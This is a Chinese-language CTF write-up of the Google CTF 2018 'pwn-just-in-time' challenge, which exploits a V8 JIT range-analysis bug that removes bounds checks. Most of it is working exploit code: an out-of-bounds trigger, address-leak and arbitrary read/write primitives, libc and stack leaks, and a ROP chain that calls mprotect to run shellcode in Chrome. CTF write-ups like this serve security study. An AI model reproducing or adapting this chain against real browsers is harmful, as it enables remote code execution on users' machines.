参考

https://github.com/google/google-ctf/tree/master/2018/finals/pwn-just-in-time/

环境搭建

我有点懒,就用xcode调了。
V8 version 7.2.0 (candidate)

gn gen out/gn --ide="xcode"
patch -p1 < ./addition-reducer.patch
cd out/gn
open all.xcworkspace/
编译

特性

max safe integer range of doubles

https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/MAX_SAFE_INTEGER

Number.MAX_SAFE_INTEGER = 2^53 - 1
...
...
var x = Number.MAX_SAFE_INTEGER + 1;//x = 9007199254740992
x += 1;//x = 9007199254740992
x += 1;//x = 9007199254740992

var y = Number.MAX_SAFE_INTEGER + 1;//y = 9007199254740992
y += 2;//y = 9007199254740994

PoC

function foo(doit) {
    let a = [1.1, 1.2, 1.3, 1.4, 1.5, 1.6];
    let x = doit ? 9007199254740992 : 9007199254740991-2;
    x += 1;
    // #29:NumberConstant[1]()  [Type: Range(1, 1)]
    // #30:SpeculativeNumberAdd[Number](#25:Phi, #29:NumberConstant, #26:Checkpoint, #23:Merge)  [Type: Range(9007199254740990, 9007199254740992)]
    x += 1;
    // #29:NumberConstant[1]()  [Type: Range(1, 1)]
    // #31:SpeculativeNumberAdd[Number](#30:SpeculativeNumberAdd, #29:NumberConstant, #30:SpeculativeNumberAdd, #23:Merge)  [Type: Range(9007199254740991, 9007199254740992)]
    x -= 9007199254740991;//解释:range(0,1);编译:(0,3);
    // #32:NumberConstant[9.0072e+15]()  [Type: Range(9007199254740991, 9007199254740991)]
    // #33:SpeculativeNumberSubtract[Number](#31:SpeculativeNumberAdd, #32:NumberConstant, #31:SpeculativeNumberAdd, #23:Merge)  [Type: Range(0, 1)]
    x *= 3;//解释:(0,3);编译:(0,9);
    // #34:NumberConstant[3]()  [Type: Range(3, 3)]
    // #35:SpeculativeNumberMultiply[Number](#33:SpeculativeNumberSubtract, #34:NumberConstant, #33:SpeculativeNumberSubtract, #23:Merge)  [Type: Range(0, 3)]
    x += 2;//解释:(2,5);编译:(2,11);
    // #36:NumberConstant[2]()  [Type: Range(2, 2)]
    // #37:SpeculativeNumberAdd[Number](#35:SpeculativeNumberMultiply, #36:NumberConstant, #35:SpeculativeNumberMultiply, #23:Merge)  [Type: Range(2, 5)]
    a[x] = 2.1729236899484e-311; // (1024).smi2f()
}
for (var i = 0; i < 100000; i++){
  foo(true);
}

分析poc,运行poc到remove checkbounds处

index_type.Print();
->Range(2, 5)
length_type.Print();
->Range(6, 6)
...
if (index_type.IsNone() || length_type.IsNone() ||
                (index_type.Min() >= 0.0 &&
                 index_type.Max() < length_type.Min())) 
满足,从而移除CheckBounds

总而言之,就是range analysis的结果和优化后实际的range不一致,导致在simplified lower将边界检查移除之后,产生越界读写。

exploit

由单次oob read/write到相对oob read/write

首先将两个数组相邻放置,通过a的一次oob write去改掉b的elements的长度,改为1024,也就是图上的0x400。
现在我们可以通过b去进行越界读写了。

function foo(doit) {
  let a = [1.1, 1.2, 1.3, 1.4, 1.5, 1.6];
  let b = [1.1, 1.2, 1.3, 1.4, 1.5, 1.6];
  ...
  ...
for (let i = 0; i < 100000; i++) {//->触发JIT优化
    foo(true);
    g2[100] = 1;
    if (g2[12] != undefined) break;//->确定已经越界写改掉了b的长度
  }
  if (g2[12] == undefined) {
    throw 'g2[12] == undefined';
  }

由相对oob read/write到任意地址读写原语

然后再在后面放置一个Float64Array,目的是通过修改它的ArrayBuffer的backing store来实现任意地址读写的原语

function foo(doit) {
  ...
  let b = [1.1, 1.2, 1.3, 1.4, 1.5, 1.6];
  ...
  g2 = b;
}

const ab_off = 26;

function setup() {
  ...
  g4 = new Float64Array(7);//放置一个Float64Array
  if (g2[ab_off+5].f2smi() != 0x38n || g2[ab_off+6].f2smi() != 0x7n) {
    throw 'array buffer not at expected location';
    //如图对应位置的0x38和0x7分别是byte_length和length,
    // 如果对应的上,那么Float64Array就放置到了正确的位置
  }

如图是g2[ab_off]处的内存布局,即我们放置的Float64Array

然后寻找array buffer backing store的位置

const ab_backing_store_off = ab_off + 0x15;
...
g4[0] = 5.5;
if (g2[ab_backing_store_off] != g4[0]) {
  throw 'array buffer backing store not at expected location';
}


那么这个backing store的位置是哪里记录的呢?
我也是找了一会,这是我第一次见到直接new一个Float64Array的...
我通常见到的都是:

var ab = new ArrayBuffer(20);
var f64 = new Float64Array(ab);

首先找到Float64Array的elements


然后从对应内存的+0x10的位置找到backing store。

这里可以看到elements的地址是0x0000093f18ac9ed
0x0000093f18ac9ed+0x20处存放我们的第一个元素5.5(图上的0x4016000000000000)

所以在我们通过修改backing store来得到任意地址读写的原语的时候。
假设我们要读的内存的地址是addr,将backing store的值改为addr-0x20,这样它就会从addr开始读取我们要读的内容。

用户态object leak原语

function leak_ptr(o) {
  g3[0] = o;
  let ptr = g2[g3_off];
  g3[0] = 0;
  return ptr.f2i();
}

首先将一个object放入object数组g3中,然后用double array g2将对应位置的object读出来,就造成了一个类型混淆的效果,读出来的地址是float类型,用f2i将其转换成整形。
输出如下:

let Array_addr = leak_ptr(Array);
print('Array_addr: ' + Array_addr.hex());
...
Array_addr: 0x93f11611259

任意地址读写原语

function readq(addr) {
  let old = g2[ab_off+2];
  g2[ab_backing_store_off-2] = (addr-0x20n|1n).i2f();
  let q = g4[0];
  g2[ab_off+2] = old;
  return q.f2i();
}
function writeq(addr, val) {
  let old = g2[ab_off+2];
  g2[ab_backing_store_off-2] = (addr-0x20n|1n).i2f();
  g4[0] = val.i2f();
  g2[ab_off+2] = old;
}

简单的解释一下readq吧。
首先从g2[ab_off+2]得到backing store的原始值
然后修改它为我们要读的内存的地址,注意末位置1,这是v8里被称为Tagged Value的机制,末位置1才能表示HeapObject的指针。

然后修改为我们要读取的内容的值,比如我们要读取下图中code的值。


之前我解释过为什么这里addr要先减去0x20。

g2[ab_backing_store_off-2] = (addr-0x20n|1n).i2f();


现在的backing store被修改为addr-0x20

于是我们将从0x0000093f11611288将code的地址0x000001db14a8c821读出来。
输出如下

let Array_addr = leak_ptr(Array);
print('Array_addr: ' + Array_addr.hex());

let Array_code_addr = readq(Array_addr + 6n*8n);
print('Array_code_addr: ' + Array_code_addr.hex());
...
...
Array_code_addr: 0x1db14a8c821

writeq也是同理的,请自己看一下。

安全特性

在6.7版本之前的v8中,由于function的code是可写的,于是我们可以直接在code写入我们的shellcode,然后调用这个function即可执行shellcode。
但是在之后,v8启用了新的安全特性,code不再可写,于是需要用rop来绕一下。
https://github.com/v8/v8/commit/f7aa8ea00bbf200e9050a22ec84fab4f323849a7

leak ArrayConstructor

let Array_addr = leak_ptr(Array);
print('Array_addr: ' + Array_addr.hex());

let Array_code_addr = readq(Array_addr + 6n*8n);
print('Array_code_addr: ' + Array_code_addr.hex());
// Builtins_ArrayConstructor
let builtin_val = readq(Array_code_addr+8n*8n);
let Array_builtin_addr = builtin_val >> 16n;
print('Array_builtin_addr: ' + Array_builtin_addr.hex());

先leak出Array的地址,然后再找到Array的code地址,再由这个地址找到ArrayConstructor的地址。

逆向Chrome和libc

现在我们leak出了ArrayConstructor的地址



vmmap可以看到它是在chrome binary映射的内存里。

将其取出并用IDA逆向
先找到ArrayConstructor在Chrome里的偏移

>>> hex(0x55b677f727c0-0x55b673f16000)
'0x405c7c0'


换句话说,用leak出来的ArrayConstructor地址减去0x405c7c0就是chrome binary映射的基地址,记为bin_base

let bin_base = Array_builtin_addr - 0x405c7c0n;
  console.log(`bin base: ${bin_base.hex()}`);

然后找到got表,cxa_finalize是一个libc里的函数,在chrome的got表里会有一个指针指向它,记录一下这个指针所在的偏移是0x8DDBDE8。
于是leak出libc里的cxa_finalize地址。

再逆向一下libc.so,用leak出来的cxa_finalize_got减去偏移0x43520,得到libc基地址。

let cxa_finalize_got = bin_base + 0x8ddbde8n;
  let libc_base = readq(cxa_finalize_got) - 0x43520n;
  console.log('libc base: ' + libc_base.hex());

然后找到environ,environ是一个指针,它指向栈上,将其leak出来,我们现在得到了一个可写的栈地址。

let environ = libc_base+0x3ee098n;
  let stack_ptr = readq(environ);
  console.log(`stack: ${stack_ptr.hex()}`);

ROP

后面的内容比较简单,就是将shellcode写入到内存,然后逆向bin构造rop,用rop mprotect函数将这个内存页变成可以读写执行权限,再跳到shellcode执行即可。

let nop = bin_base+0x263d061n;
  let pop_rdi = bin_base+0x264bdccn;
  let pop_rsi = bin_base+0x267e82en;
  let pop_rdx = bin_base+0x26a8d66n;
  let mprotect = bin_base+0x88278f0n;

  let sc_array = new Uint8Array(2048);
  for (let i = 0; i < sc.length; i++) {
    sc_array[i] = sc[i];
  }
  let sc_addr = readq((leak_ptr(sc_array)-1n+0x68n));
  console.log(`sc_addr: ${sc_addr.hex()}`);

  let rop = [
    pop_rdi,
    sc_addr,
    pop_rsi,
    4096n,
    pop_rdx,
    7n,
    mprotect,
    sc_addr
  ];
  let rop_start = stack_ptr - 8n*BigInt(rop.length);
  for (let i = 0; i < rop.length; i++) {
    writeq(rop_start+8n*BigInt(i), rop[i]);
  }

  for (let i = 0; i < 0x200; i++) {
    rop_start -= 8n;
    writeq(rop_start, nop);
  }
}

我举个简单的例子,我随便找了一个binary文件,假设红框框起来的地方是environment,上面黄框是写入的0x200个retn,注意这个nop其实是代表retn而不是0x90,当程序栈执行到retn,它就会一直往下retn,直到开始执行我们的rop,最终执行到shellcode。

for (let i = 0; i < 0x200; i++) {
    rop_start -= 8n;
    writeq(rop_start, nop);
  }

exploit

cd ~/chrome
./chrome index.html

其他

致谢

感谢stephen(@_tsuro)对我愚蠢问题的不厌其烦的指导,我翻了一个愚蠢的错误。
事实上直接用d8调试和chrome还是不太一样的,就是在leak cxa那里,它会把builtin随机映射到一段地址,而把cxa映射到libv8.so,所以就不能简单的根据偏移找到cxa了。


所以说当你在v8里完成一个任意地址读写的原语之后,就可以转到chrome里直接写exp了,而不需要再做过多的调试(换句话说你没必要直接调试完整的chrome,这没有什么意义)

源链接

Hacking more

...